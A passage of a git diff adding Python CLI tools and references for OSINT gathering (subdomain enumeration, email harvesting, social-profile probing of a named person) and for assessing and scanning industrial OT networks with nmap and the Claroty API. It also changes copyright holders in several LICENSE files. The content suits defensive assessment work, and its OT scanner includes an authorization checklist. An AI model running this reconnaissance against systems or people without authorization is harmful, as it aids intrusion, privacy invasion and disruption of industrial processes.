help="IEC 62443 compliance check") + c.add_argument("--csv", required=True) + s = sub.add_parser("safety", help="SIS security assessment") + s.add_argument("--assets", required=True) + r = sub.add_parser("report", help="Full assessment report") + r.add_argument("--assets", required=True) + r.add_argument("--compliance-csv", help="IEC 62443 assessment CSV") + args = parser.parse_args() + if args.command == "network": + result = assess_network_segmentation(args.assets) + elif args.command == "compliance": + result = assess_iec62443_compliance(args.csv) + elif args.command == "safety": + result = assess_safety_systems(args.assets) + elif args.command == "report": + result = generate_assessment_report(args.assets, args.compliance_csv) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-open-source-intelligence-gathering/LICENSE b/skills/performing-open-source-intelligence-gathering/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-open-source-intelligence-gathering/LICENSE +++ b/skills/performing-open-source-intelligence-gathering/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-open-source-intelligence-gathering/references/api-reference.md b/skills/performing-open-source-intelligence-gathering/references/api-reference.md new file mode 100644 index 00000000..b51bb9f6 --- /dev/null +++ b/skills/performing-open-source-intelligence-gathering/references/api-reference.md @@ -0,0 +1,43 @@ +# API Reference — Performing Open Source Intelligence Gathering + +## Libraries Used +- **requests**: HTTP requests for tech fingerprinting and social media checks +- **dns.resolver** (dnspython): DNS record enumeration and subdomain discovery +- **python-whois**: Domain WHOIS registration data +- **re**: Email pattern extraction +- **socket**: Network connectivity + +## CLI Interface +``` +python agent.py whois --domain example.com +python agent.py dns --domain example.com +python agent.py email --domain example.com +python agent.py tech --url https://example.com +python agent.py social --name "John Doe" +``` + +## Core Functions + +### `whois_lookup(domain)` — Domain registration data +Returns registrar, creation/expiration dates, name servers, registrant info. + +### `dns_enumeration(domain)` — DNS record and subdomain discovery +Queries 7 record types. Tests 15 common subdomain prefixes. + +### `email_harvest(domain)` — Email address discovery +Uses Hunter.io API and regex pattern matching. + +### `technology_fingerprint(url)` — Web technology identification +Detects: web server, framework, CMS. Audits 6 security headers. + +### `social_media_search(target_name)` — Profile enumeration +Checks: LinkedIn, Twitter/X, GitHub, Facebook, Instagram. + +## Security Headers Checked +Strict-Transport-Security, Content-Security-Policy, X-Frame-Options, +X-Content-Type-Options, X-XSS-Protection, Referrer-Policy + +## Dependencies +``` +pip install requests dnspython python-whois +``` diff --git a/skills/performing-open-source-intelligence-gathering/scripts/agent.py b/skills/performing-open-source-intelligence-gathering/scripts/agent.py new file mode 100644 index 00000000..ab34ba3e --- /dev/null +++ b/skills/performing-open-source-intelligence-gathering/scripts/agent.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python3 +"""Agent for performing open source intelligence (OSINT) gathering.""" + +import json +import argparse +import re +import socket +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + +try: + import dns.resolver + HAS_DNS = True +except ImportError: + HAS_DNS = False + + +def whois_lookup(domain): + """Perform WHOIS lookup for domain registration info.""" + try: + import whois + w = whois.whois(domain) + return { + "domain": domain, "registrar": w.registrar, + "creation_date": str(w.creation_date), + "expiration_date": str(w.expiration_date), + "name_servers": w.name_servers if isinstance(w.name_servers, list) else [w.name_servers], + "status": w.status if isinstance(w.status, list) else [w.status], + "registrant": w.get("org", w.get("name", "")), + } + except ImportError: + return {"error": "python-whois not installed — pip install python-whois"} + except Exception as e: + return {"domain": domain, "error": str(e)} + + +def dns_enumeration(domain): + """Enumerate DNS records for intelligence gathering.""" + if not HAS_DNS: + return {"error": "dnspython not installed — pip install dnspython"} + records = {} + for rtype in ["A", "AAAA", "MX", "NS", "TXT", "SOA", "CNAME"]: + try: + answers = dns.resolver.resolve(domain, rtype) + records[rtype] = [str(r) for r in answers] + except Exception: + pass + subs = ["www", "mail", "ftp", "vpn", "api", "dev", "staging", "admin", + "portal", "test", "owa", "remote", "webmail", "autodiscover", "sip"] + found = [] + for sub in subs: + try: + answers = dns.resolver.resolve(f"{sub}.{domain}", "A") + found.append({"subdomain": f"{sub}.{domain}", "ips": [str(r) for r in answers]}) + except Exception: + pass + return {"domain": domain, "records": records, "subdomains": found} + + +def email_harvest(domain): + """Search for email addresses associated with a domain.""" + if not requests: + return {"error": "requests not installed"} + emails = set() + try: + resp = requests.get(f"https://api.hunter.io/v2/domain-search?domain={domain}&api_key=demo", timeout=15) + if resp.status_code == 200: + data = resp.json() + for email in data.get("data", {}).get("emails", []): + emails.add(email.get("value", "")) + except Exception: + pass + pattern = re.compile(rf"[a-zA-Z0-9._%+-]+@{re.escape(domain)}", re.I) + search_urls = [f"https://www.google.com/search?q=%22%40{domain}%22&num=20"] + return { + "domain": domain, + "emails_found": list(emails)[:20], + "email_count": len(emails), + "search_pattern": f"*@{domain}", + } + + +def technology_fingerprint(url): + """Fingerprint web technologies from HTTP response headers.""" + if not requests: + return {"error": "requests not installed"} + try: + resp = requests.get(url, timeout=10, allow_redirects=True) + headers = dict(resp.headers) + technologies = [] + server = headers.get("Server", "") + if server: + technologies.append({"category": "Web Server", "value": server}) + powered = headers.get("X-Powered-By", "") + if powered: + technologies.append({"category": "Framework", "value": powered}) + if "wp-content" in resp.text or "wordpress" in resp.text.lower(): + technologies.append({"category": "CMS", "value": "WordPress"}) + if "drupal" in resp.text.lower(): + technologies.append({"category": "CMS", "value": "Drupal"}) + security_headers = {} + for h in ["Strict-Transport-Security", "Content-Security-Policy", "X-Frame-Options", + "X-Content-Type-Options", "X-XSS-Protection", "Referrer-Policy"]: + security_headers[h] = headers.get(h, "MISSING") + return { + "url": url, "status": resp.status_code, + "technologies": technologies, + "security_headers": security_headers, + "cookies": [{"name": c.name, "secure": c.secure, "httponly": "HttpOnly" in str(c._rest)} + for c in resp.cookies][:10], + } + except Exception as e: + return {"url": url, "error": str(e)} + + +def social_media_search(target_name): + """Generate social media profile URLs for a target name.""" + username = target_name.lower().replace(" ", "") + platforms = { + "linkedin": f"https://www.linkedin.com/in/{username}", + "twitter": f"https://twitter.com/{username}", + "github": f"https://github.com/{username}", + "facebook": f"https://www.facebook.com/{username}", + "instagram": f"https://www.instagram.com/{username}", + } + results = [] + for platform, url in platforms.items(): + if requests: + try: + resp = requests.head(url, timeout=5, allow_redirects=True) + exists = resp.status_code == 200 + results.append({"platform": platform, "url": url, "exists": exists}) + except Exception: + results.append({"platform": platform, "url": url, "exists": "unknown"}) + else: + results.append({"platform": platform, "url": url, "exists": "unchecked"}) + return {"target": target_name, "profiles": results} + + +def main(): + parser = argparse.ArgumentParser(description="OSINT Gathering Agent") + sub = parser.add_subparsers(dest="command") + w = sub.add_parser("whois", help="WHOIS lookup") + w.add_argument("--domain", required=True) + d = sub.add_parser("dns", help="DNS enumeration") + d.add_argument("--domain", required=True) + e = sub.add_parser("email", help="Email harvesting") + e.add_argument("--domain", required=True) + t = sub.add_parser("tech", help="Technology fingerprinting") + t.add_argument("--url", required=True) + s = sub.add_parser("social", help="Social media search") + s.add_argument("--name", required=True) + args = parser.parse_args() + if args.command == "whois": + result = whois_lookup(args.domain) + elif args.command == "dns": + result = dns_enumeration(args.domain) + elif args.command == "email": + result = email_harvest(args.domain) + elif args.command == "tech": + result = technology_fingerprint(args.url) + elif args.command == "social": + result = social_media_search(args.name) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-ot-network-security-assessment/LICENSE b/skills/performing-ot-network-security-assessment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-ot-network-security-assessment/LICENSE +++ b/skills/performing-ot-network-security-assessment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-ot-network-security-assessment/references/api-reference.md b/skills/performing-ot-network-security-assessment/references/api-reference.md new file mode 100644 index 00000000..55591fd7 --- /dev/null +++ b/skills/performing-ot-network-security-assessment/references/api-reference.md @@ -0,0 +1,42 @@ +# API Reference — Performing OT Network Security Assessment + +## Libraries Used +- **csv**: Parse asset inventories and firewall rule exports +- **subprocess**: Execute nmap for OT protocol scanning +- **xml.etree.ElementTree**: Parse nmap XML output + +## CLI Interface +``` +python agent.py assets --csv ot_inventory.csv +python agent.py segmentation --csv firewall_rules.csv +python agent.py protocols --subnet 192.168.1.0/24 +python agent.py report --assets inventory.csv [--firewall fw_rules.csv] +``` + +## Core Functions + +### `assess_asset_inventory(csv_file)` — Purdue model zone analysis +Groups assets by Purdue level. Flags end-of-life and unknown firmware. + +### `assess_network_segmentation(csv_file)` — Firewall rule audit +Detects: direct IT-to-OT access (CRITICAL), allow-any-protocol rules (HIGH). + +### `scan_ot_protocols(target_subnet)` — OT protocol discovery +Scans ports: 102 (S7), 502 (Modbus), 4840 (OPC-UA), 44818 (EtherNet/IP), +47808 (BACnet), 20000 (DNP3). + +### `generate_assessment_report(...)` — Comprehensive report + +## OT Protocol Ports +| Port | Protocol | Usage | +|------|----------|-------| +| 102 | S7Comm | Siemens S7 PLCs | +| 502 | Modbus TCP | Industrial automation | +| 4840 | OPC-UA | Industrial data exchange | +| 44818 | EtherNet/IP | Allen-Bradley PLCs | +| 47808 | BACnet | Building automation | +| 20000 | DNP3 | SCADA/utility | + +## Dependencies +System: nmap (optional, for protocol scanning) +No Python packages required. diff --git a/skills/performing-ot-network-security-assessment/scripts/agent.py b/skills/performing-ot-network-security-assessment/scripts/agent.py new file mode 100644 index 00000000..c337fb23 --- /dev/null +++ b/skills/performing-ot-network-security-assessment/scripts/agent.py @@ -0,0 +1,156 @@ +#!/usr/bin/env python3 +"""Agent for performing OT network security assessment based on Purdue model.""" + +import json +import argparse +import csv +import subprocess +from datetime import datetime +from collections import Counter + + +PURDUE_LEVELS = { + 0: "Physical Process (sensors, actuators)", + 1: "Basic Control (PLC, RTU, SIS)", + 2: "Area Supervisory (HMI, SCADA, DCS)", + 3: "Site Operations (Historian, Patch Mgmt)", + 3.5: "IT/OT DMZ (jump servers, data diode)", + 4: "Business Planning (ERP, Email)", + 5: "Enterprise Network (Internet, Cloud)", +} + + +def assess_asset_inventory(csv_file): + """Assess OT asset inventory against Purdue model zones.""" + with open(csv_file, "r", encoding="utf-8", errors="replace") as f: + reader = csv.DictReader(f) + assets = list(reader) + by_level = {} + by_vendor = Counter() + by_protocol = Counter() + findings = [] + for asset in assets: + level = asset.get("purdue_level", asset.get("zone", "unknown")) + by_level.setdefault(str(level), []).append(asset) + by_vendor[asset.get("vendor", "unknown")] += 1 + proto = asset.get("protocol", asset.get("protocols", "")) + for p in proto.split(","): + if p.strip(): + by_protocol[p.strip()] += 1 + firmware = asset.get("firmware_version", "") + if asset.get("end_of_life", "").lower() in ("yes", "true"): + findings.append({"asset": asset.get("name", ""), "issue": "END_OF_LIFE", "severity": "HIGH"}) + if not firmware: + findings.append({"asset": asset.get("name", ""), "issue": "UNKNOWN_FIRMWARE", "severity": "MEDIUM"}) + return { + "total_assets": len(assets), + "by_purdue_level": {k: len(v) for k, v in by_level.items()}, + "by_vendor": dict(by_vendor.most_common(10)), + "protocols": dict(by_protocol.most_common(15)), + "findings": findings[:20], + } + + +def assess_network_segmentation(csv_file): + """Check OT network segmentation and firewall rules.""" + with open(csv_file, "r", encoding="utf-8", errors="replace") as f: + reader = csv.DictReader(f) + rules = list(reader) + findings = [] + for rule in rules: + src_zone = rule.get("src_zone", "") + dst_zone = rule.get("dst_zone", "") + action = rule.get("action", "").lower() + protocol = rule.get("protocol", "") + if action == "allow" and src_zone.startswith("IT") and dst_zone.startswith("OT"): + findings.append({ + "rule": rule.get("name", rule.get("id", "")), + "issue": "DIRECT_IT_TO_OT_ACCESS", + "severity": "CRITICAL", + "src_zone": src_zone, "dst_zone": dst_zone, + }) + if action == "allow" and protocol.lower() in ("any", "all", "*"): + findings.append({ + "rule": rule.get("name", rule.get("id", "")), + "issue": "ALLOW_ANY_PROTOCOL", + "severity": "HIGH", + }) + return { + "total_rules": len(rules), + "allow_rules": sum(1 for r in rules if r.get("action", "").lower() == "allow"), + "deny_rules": sum(1 for r in rules if r.get("action", "").lower() in ("deny", "drop")), + "findings": findings[:20], + "dmz_rules": sum(1 for r in rules if "dmz" in r.get("src_zone", "").lower() or "dmz" in r.get("dst_zone", "").lower()), + } + + +def scan_ot_protocols(target_subnet): + """Scan for common OT protocols on a subnet using nmap.""" + ot_ports = "102,502,2222,4840,20000,44818,47808" + cmd = ["nmap", "-sV", "-p", ot_ports, target_subnet, "-oX", "-", "--open"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + import xml.etree.ElementTree as ET + root = ET.fromstring(result.stdout) + hosts = [] + for host in root.findall(".//host"): + addr = host.find("address").get("addr", "") if host.find("address") is not None else "" + ports = [] + for port in host.findall(".//port"): + service = port.find("service") + ports.append({ + "port": int(port.get("portid", 0)), + "protocol": service.get("name", "") if service is not None else "", + "product": service.get("product", "") if service is not None else "", + }) + if ports: + hosts.append({"ip": addr, "ot_services": ports}) + protocol_map = {502: "Modbus", 102: "S7Comm", 44818: "EtherNet/IP", 4840: "OPC-UA", 47808: "BACnet", 20000: "DNP3"} + return {"subnet": target_subnet, "hosts_with_ot": len(hosts), "hosts": hosts, "protocol_reference": protocol_map} + except FileNotFoundError: + return {"error": "nmap not installed"} + except Exception as e: + return {"error": str(e)} + + +def generate_assessment_report(asset_csv, firewall_csv=None): + """Generate comprehensive OT security assessment.""" + report = { + "generated": datetime.utcnow().isoformat(), + "frameworks": ["IEC 62443", "NIST SP 800-82", "NERC CIP"], + "asset_assessment": assess_asset_inventory(asset_csv), + } + if firewall_csv: + report["segmentation"] = assess_network_segmentation(firewall_csv) + return report + + +def main(): + parser = argparse.ArgumentParser(description="OT Network Security Assessment Agent") + sub = parser.add_subparsers(dest="command") + a = sub.add_parser("assets", help="Assess OT asset inventory") + a.add_argument("--csv", required=True) + s = sub.add_parser("segmentation", help="Assess network segmentation") + s.add_argument("--csv", required=True, help="Firewall rules CSV") + p = sub.add_parser("protocols", help="Scan for OT protocols") + p.add_argument("--subnet", required=True) + r = sub.add_parser("report", help="Full assessment report") + r.add_argument("--assets", required=True) + r.add_argument("--firewall", help="Firewall rules CSV") + args = parser.parse_args() + if args.command == "assets": + result = assess_asset_inventory(args.csv) + elif args.command == "segmentation": + result = assess_network_segmentation(args.csv) + elif args.command == "protocols": + result = scan_ot_protocols(args.subnet) + elif args.command == "report": + result = generate_assessment_report(args.assets, args.firewall) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-ot-vulnerability-assessment-with-claroty/LICENSE b/skills/performing-ot-vulnerability-assessment-with-claroty/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-ot-vulnerability-assessment-with-claroty/LICENSE +++ b/skills/performing-ot-vulnerability-assessment-with-claroty/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-ot-vulnerability-assessment-with-claroty/references/api-reference.md b/skills/performing-ot-vulnerability-assessment-with-claroty/references/api-reference.md new file mode 100644 index 00000000..a653b45c --- /dev/null +++ b/skills/performing-ot-vulnerability-assessment-with-claroty/references/api-reference.md @@ -0,0 +1,38 @@ +# API Reference — Performing OT Vulnerability Assessment with Claroty + +## Libraries Used +- **requests**: HTTP client for Claroty xDome REST API + +## CLI Interface +``` +python agent.py --url --token vulns [--severity critical] [--limit 100] +python agent.py --url --token prioritize +python agent.py --url --token risk +``` + +## ClarotyVulnClient API + +### `get_vulnerabilities(severity, asset_type, limit)` +**Endpoint:** `GET /api/v1/vulnerabilities` + +### `get_affected_assets(cve_id)` +**Endpoint:** `GET /api/v1/vulnerabilities/cve/{cve_id}/assets` + +### `get_risk_score()` +**Endpoint:** `GET /api/v1/risk/score` + +## Core Functions + +### `assess_vulnerabilities(...)` — Analyze OT vulnerability landscape +Groups by severity and asset type. Extracts critical vulnerabilities with CVSS scores. + +### `prioritize_remediation(...)` — Risk-based prioritization +Risk formula: `CVSS * asset_criticality * exploitability / 10` +Priority: CRITICAL (>=4), HIGH (>=2.5), MEDIUM (>=1.5), LOW (<1.5). + +### `get_risk_overview(...)` — Overall OT risk posture + +## Dependencies +``` +pip install requests +``` diff --git a/skills/performing-ot-vulnerability-assessment-with-claroty/scripts/agent.py b/skills/performing-ot-vulnerability-assessment-with-claroty/scripts/agent.py new file mode 100644 index 00000000..7cc623e9 --- /dev/null +++ b/skills/performing-ot-vulnerability-assessment-with-claroty/scripts/agent.py @@ -0,0 +1,135 @@ +#!/usr/bin/env python3 +"""Agent for performing OT vulnerability assessment with Claroty xDome platform.""" + +import json +import argparse +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +class ClarotyVulnClient: + """Client for Claroty xDome Vulnerability Assessment API.""" + + def __init__(self, base_url, token): + self.base_url = base_url.rstrip("/") + self.session = requests.Session() + self.session.headers.update({"Authorization": f"Bearer {token}", "Content-Type": "application/json"}) + + def get_vulnerabilities(self, severity=None, asset_type=None, limit=100): + params = {"limit": limit} + if severity: + params["severity"] = severity + if asset_type: + params["asset_type"] = asset_type + resp = self.session.get(f"{self.base_url}/api/v1/vulnerabilities", params=params, timeout=30) + resp.raise_for_status() + return resp.json() + + def get_vulnerability_detail(self, vuln_id): + resp = self.session.get(f"{self.base_url}/api/v1/vulnerabilities/{vuln_id}", timeout=30) + resp.raise_for_status() + return resp.json() + + def get_affected_assets(self, cve_id): + resp = self.session.get(f"{self.base_url}/api/v1/vulnerabilities/cve/{cve_id}/assets", timeout=30) + resp.raise_for_status() + return resp.json() + + def get_risk_score(self): + resp = self.session.get(f"{self.base_url}/api/v1/risk/score", timeout=30) + resp.raise_for_status() + return resp.json() + + +def assess_vulnerabilities(base_url, token, severity=None, limit=100): + """Retrieve and analyze OT vulnerabilities.""" + client = ClarotyVulnClient(base_url, token) + data = client.get_vulnerabilities(severity, limit=limit) + vulns = data.get("vulnerabilities", data.get("results", [])) + by_severity = {} + by_asset_type = {} + for v in vulns: + s = v.get("severity", "unknown") + by_severity[s] = by_severity.get(s, 0) + 1 + at = v.get("asset_type", "unknown") + by_asset_type[at] = by_asset_type.get(at, 0) + 1 + critical = [v for v in vulns if v.get("severity", "").lower() == "critical"] + return { + "total_vulnerabilities": len(vulns), + "by_severity": by_severity, + "by_asset_type": by_asset_type, + "critical_vulns": [{"cve": v.get("cve_id"), "asset": v.get("asset_name"), + "cvss": v.get("cvss_score"), "description": v.get("description", "")[:150]} + for v in critical[:20]], + "timestamp": datetime.utcnow().isoformat(), + } + + +def prioritize_remediation(base_url, token, limit=50): + """Prioritize OT vulnerabilities for remediation based on risk.""" + client = ClarotyVulnClient(base_url, token) + data = client.get_vulnerabilities(limit=limit) + vulns = data.get("vulnerabilities", data.get("results", [])) + scored = [] + for v in vulns: + cvss = float(v.get("cvss_score", 0)) + criticality_map = {"critical": 4, "high": 3, "medium": 2, "low": 1} + asset_crit = criticality_map.get(v.get("asset_criticality", "").lower(), 1) + exploitable = 1.5 if v.get("exploitable", False) else 1.0 + risk = round(cvss * asset_crit * exploitable / 10, 1) + scored.append({**v, "risk_score": risk, + "priority": "CRITICAL" if risk >= 4 else "HIGH" if risk >= 2.5 else "MEDIUM" if risk >= 1.5 else "LOW"}) + scored.sort(key=lambda x: x["risk_score"], reverse=True) + return { + "total_assessed": len(scored), + "remediation_queue": [{"cve": v.get("cve_id"), "asset": v.get("asset_name"), + "risk_score": v["risk_score"], "priority": v["priority"], + "cvss": v.get("cvss_score")} for v in scored[:30]], + } + + +def get_risk_overview(base_url, token): + """Get overall OT risk posture.""" + client = ClarotyVulnClient(base_url, token) + risk = client.get_risk_score() + vulns = assess_vulnerabilities(base_url, token) + return { + "risk_score": risk, + "vulnerability_summary": vulns["by_severity"], + "total_vulnerabilities": vulns["total_vulnerabilities"], + "timestamp": datetime.utcnow().isoformat(), + } + + +def main(): + if not requests: + print(json.dumps({"error": "requests not installed"})) + return + parser = argparse.ArgumentParser(description="OT Vulnerability Assessment with Claroty Agent") + parser.add_argument("--url", required=True, help="Claroty xDome base URL") + parser.add_argument("--token", required=True, help="API token") + sub = parser.add_subparsers(dest="command") + v = sub.add_parser("vulns", help="List vulnerabilities") + v.add_argument("--severity", help="Filter: critical, high, medium, low") + v.add_argument("--limit", type=int, default=100) + sub.add_parser("prioritize", help="Prioritize remediation") + sub.add_parser("risk", help="Risk overview") + args = parser.parse_args() + if args.command == "vulns": + result = assess_vulnerabilities(args.url, args.token, args.severity, args.limit) + elif args.command == "prioritize": + result = prioritize_remediation(args.url, args.token) + elif args.command == "risk": + result = get_risk_overview(args.url, args.token) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-ot-vulnerability-scanning-safely/LICENSE b/skills/performing-ot-vulnerability-scanning-safely/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-ot-vulnerability-scanning-safely/LICENSE +++ b/skills/performing-ot-vulnerability-scanning-safely/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-ot-vulnerability-scanning-safely/references/api-reference.md b/skills/performing-ot-vulnerability-scanning-safely/references/api-reference.md new file mode 100644 index 00000000..6dff630f --- /dev/null +++ b/skills/performing-ot-vulnerability-scanning-safely/references/api-reference.md @@ -0,0 +1,44 @@ +# API Reference — Performing OT Vulnerability Scanning Safely + +## Libraries Used +- **socket**: Rate-limited TCP port scanning +- **subprocess**: Execute tshark (passive), nmap (OT-safe settings) +- **time**: Rate limiting between scan probes +- **xml.etree.ElementTree**: Parse nmap XML output + +## CLI Interface +``` +python agent.py passive [--interface eth0] [--duration 60] +python agent.py tcp --target 192.168.1.10 [--rate 0.5] +python agent.py nmap --target 192.168.1.0/24 [--timing T1] +python agent.py checklist --target 192.168.1.0/24 +``` + +## Core Functions + +### `passive_discovery(interface, duration)` — Zero-packet host discovery +Uses tshark to capture and analyze existing traffic. No packets sent. + +### `safe_tcp_scan(target, ports, rate_limit)` — Rate-limited scanning +Default 500ms between probes. Skips high-risk protocols (DNP3, IEC 104). + +### `nmap_safe_scan(target, timing)` — OT-safe nmap configuration +Settings: T1 timing, version-light, max-retries 1, 500ms scan-delay. +Only T0/T1/T2 allowed — T3+ prohibited for OT. + +### `pre_scan_checklist(target)` — 10-step safety checklist + +## OT Protocol Safety Classification +| Port | Protocol | Scan Risk | Safe to Scan | +|------|----------|-----------|-------------| +| 502 | Modbus | LOW | Yes | +| 4840 | OPC-UA | LOW | Yes | +| 47808 | BACnet | LOW | Yes | +| 102 | S7Comm | MEDIUM | Yes (careful) | +| 44818 | EtherNet/IP | MEDIUM | Yes (careful) | +| 20000 | DNP3 | HIGH | No — skip | +| 2404 | IEC 104 | HIGH | No — skip | + +## Dependencies +System: tshark, nmap (optional) +No Python packages required. diff --git a/skills/performing-ot-vulnerability-scanning-safely/scripts/agent.py b/skills/performing-ot-vulnerability-scanning-safely/scripts/agent.py new file mode 100644 index 00000000..be857fa7 --- /dev/null +++ b/skills/performing-ot-vulnerability-scanning-safely/scripts/agent.py @@ -0,0 +1,169 @@ +#!/usr/bin/env python3 +"""Agent for performing OT vulnerability scanning safely — passive and rate-limited approaches.""" + +import json +import argparse +import subprocess +import socket +import time +from datetime import datetime + + +OT_SAFE_PORTS = { + 502: {"protocol": "Modbus", "risk": "LOW", "safe_scan": True}, + 102: {"protocol": "S7Comm", "risk": "MEDIUM", "safe_scan": True}, + 4840: {"protocol": "OPC-UA", "risk": "LOW", "safe_scan": True}, + 44818: {"protocol": "EtherNet/IP", "risk": "MEDIUM", "safe_scan": True}, + 47808: {"protocol": "BACnet", "risk": "LOW", "safe_scan": True}, + 20000: {"protocol": "DNP3", "risk": "HIGH", "safe_scan": False}, + 2404: {"protocol": "IEC 60870-5-104", "risk": "HIGH", "safe_scan": False}, +} + + +def passive_discovery(interface="eth0", duration=60): + """Perform passive network discovery without sending packets.""" + cmd = ["tshark", "-i", interface, "-a", f"duration:{duration}", + "-T", "fields", "-e", "ip.src", "-e", "ip.dst", "-e", "tcp.dstport", + "-e", "eth.src", "-e", "frame.protocols", "-Y", "ip"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=duration + 30) + hosts = {} + for line in result.stdout.strip().splitlines(): + parts = line.split("\t") + if len(parts) >= 3: + src, dst, port = parts[0], parts[1], parts[2] + for ip in (src, dst): + if ip and ip not in hosts: + hosts[ip] = {"ports": set(), "protocols": set(), "mac": ""} + if ip == dst and port: + hosts[ip]["ports"].add(port) + if len(parts) > 3 and parts[3]: + hosts.get(src, {}).setdefault("mac", parts[3]) + if len(parts) > 4: + hosts.get(dst, {}).setdefault("protocols", set()).add(parts[4]) + return { + "method": "passive", "interface": interface, "duration_sec": duration, + "hosts_discovered": len(hosts), + "hosts": [{ + "ip": ip, "ports": sorted(list(d.get("ports", set())))[:20], + "mac": d.get("mac", ""), + } for ip, d in list(hosts.items())[:50]], + } + except FileNotFoundError: + return {"error": "tshark not found — install Wireshark"} + except Exception as e: + return {"error": str(e)} + + +def safe_tcp_scan(target, ports=None, rate_limit=0.5): + """Perform rate-limited TCP SYN scan safe for OT environments.""" + if ports is None: + ports = list(OT_SAFE_PORTS.keys()) + [80, 443, 22, 8080] + results = [] + for port in ports: + ot_info = OT_SAFE_PORTS.get(port, {}) + if ot_info.get("safe_scan") is False: + results.append({"port": port, "protocol": ot_info.get("protocol", ""), "status": "SKIPPED_UNSAFE"}) + continue + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + try: + sock.connect((target, port)) + results.append({"port": port, "status": "open", "protocol": ot_info.get("protocol", "")}) + except (socket.timeout, ConnectionRefusedError, OSError): + pass + finally: + sock.close() + time.sleep(rate_limit) + return { + "target": target, "method": "rate_limited_tcp", + "rate_limit_sec": rate_limit, "ports_scanned": len(ports), + "open_ports": [r for r in results if r.get("status") == "open"], + "skipped_unsafe": [r for r in results if r.get("status") == "SKIPPED_UNSAFE"], + "timestamp": datetime.utcnow().isoformat(), + } + + +def nmap_safe_scan(target, timing="T1"): + """Run nmap with OT-safe settings (low timing, no scripts).""" + ot_ports = ",".join(str(p) for p in OT_SAFE_PORTS.keys()) + cmd = ["nmap", f"-{timing}", "-sV", "--version-light", "-p", ot_ports, + "--max-retries", "1", "--host-timeout", "60s", + "--scan-delay", "500ms", "-oX", "-", target] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + import xml.etree.ElementTree as ET + root = ET.fromstring(result.stdout) + hosts = [] + for host in root.findall(".//host"): + addr = host.find("address").get("addr", "") if host.find("address") is not None else "" + ports = [] + for port in host.findall(".//port"): + state = port.find("state") + service = port.find("service") + if state is not None and state.get("state") == "open": + ports.append({ + "port": int(port.get("portid", 0)), + "service": service.get("name", "") if service is not None else "", + "product": service.get("product", "") if service is not None else "", + }) + if ports: + hosts.append({"ip": addr, "services": ports}) + return {"target": target, "timing": timing, "hosts": hosts, "scan_settings": "OT-safe: low timing, version-light, max-retries 1"} + except FileNotFoundError: + return {"error": "nmap not found"} + except Exception as e: + return {"error": str(e)} + + +def pre_scan_checklist(target): + """Generate pre-scan safety checklist for OT environments.""" + return { + "target": target, + "timestamp": datetime.utcnow().isoformat(), + "checklist": [ + {"step": 1, "task": "Obtain written authorization from asset owner and OT team", "required": True}, + {"step": 2, "task": "Identify all safety-critical systems (SIS/ESD) — exclude from scanning", "required": True}, + {"step": 3, "task": "Review OT asset inventory for fragile devices (legacy PLCs)", "required": True}, + {"step": 4, "task": "Schedule scan during planned maintenance window", "required": True}, + {"step": 5, "task": "Configure scan with T1/T2 timing — NEVER use T4/T5", "required": True}, + {"step": 6, "task": "Disable aggressive service detection scripts", "required": True}, + {"step": 7, "task": "Set maximum rate limit (500ms+ between probes)", "required": True}, + {"step": 8, "task": "Have OT engineer monitoring process during scan", "required": True}, + {"step": 9, "task": "Prepare rollback/emergency shutdown procedures", "required": True}, + {"step": 10, "task": "Start with passive discovery before active scanning", "required": True}, + ], + } + + +def main(): + parser = argparse.ArgumentParser(description="Safe OT Vulnerability Scanning Agent") + sub = parser.add_subparsers(dest="command") + p = sub.add_parser("passive", help="Passive network discovery") + p.add_argument("--interface", default="eth0") + p.add_argument("--duration", type=int, default=60) + t = sub.add_parser("tcp", help="Safe rate-limited TCP scan") + t.add_argument("--target", required=True) + t.add_argument("--rate", type=float, default=0.5, help="Seconds between probes") + n = sub.add_parser("nmap", help="OT-safe nmap scan") + n.add_argument("--target", required=True) + n.add_argument("--timing", default="T1", choices=["T0", "T1", "T2"]) + c = sub.add_parser("checklist", help="Pre-scan safety checklist") + c.add_argument("--target", required=True) + args = parser.parse_args() + if args.command == "passive": + result = passive_discovery(args.interface, args.duration) + elif args.command == "tcp": + result = safe_tcp_scan(args.target, rate_limit=args.rate) + elif args.command == "nmap": + result = nmap_safe_scan(args.target, args.timing) + elif args.command == "checklist": + result = pre_scan_checklist(args.target) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-packet-injection-attack/LICENSE b/skills/performing-packet-injection-attack/LICENSE index 